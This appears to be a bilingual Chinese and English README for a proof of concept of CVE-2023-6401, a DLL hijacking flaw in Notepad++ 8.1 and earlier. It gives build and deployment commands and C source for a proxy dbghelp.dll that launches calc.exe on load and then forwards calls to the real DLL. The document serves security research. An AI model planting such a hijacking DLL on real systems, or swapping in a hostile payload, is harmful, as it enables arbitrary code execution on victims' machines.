mekitoci/cve-2023-6401CVE-2023-6401 is a DLL hijacking vulnerability that allows attackers to execute arbitrary code by placing a malicious `dbghelp.dll` file in the application directory. This project demonstrates the vulnerability and provides a reproducible PoC.
⚠️ 重要聲明：僅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
預期結果： 計算器彈出 + 訊息框顯示 + NotePad++正常啟動
| 項目 | 詳情 |
|---|---|
| CVE編號 | CVE-2023-6401 |
| 影響版本 | NotePad++ ≤ 8.1 |
| 漏洞類型 | DLL劫持 / 搜尋路徑劫持 |
| 影響 | 執行任意程式碼 |
| 前提條件 | 應用程式目錄寫入權限 |
Windows按以下順序載入DLL：
NotePad++啟動時會載入 dbghelp.dll，通過在應用程式目錄放置同名惡意DLL，可在系統DLL載入前執行程式碼。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
本專案僅供教育和安全研究使用。使用者需對遵守適用法律法規承擔全部責任。
⚠️ IMPORTANT DISCLAIMER: For security research and educational purposes only
Proof-of-concept for NotePad++ ≤ 8.1 DLL hijacking vulnerability. Execute arbitrary code by placing a malicious dbghelp.dll in the application directory.
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
Expected Result: Calculator pops up + Message box displays + NotePad++ starts normally
| Item | Details |
|---|---|
| CVE Number | CVE-2023-6401 |
| Affected Versions | NotePad++ ≤ 8.1 |
| Vulnerability Type | DLL Hijacking / Search Order Hijacking |
| Impact | Arbitrary Code Execution |
| Prerequisites | Write permission to application directory |
Windows loads DLLs in the following order:
NotePad++ loads dbghelp.dll on startup. By placing a malicious DLL with the same name in the application directory, code can be executed before the system DLL is loaded.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
This project is for educational and security research purposes only. Users are solely responsible for compliance with applicable laws and regulations.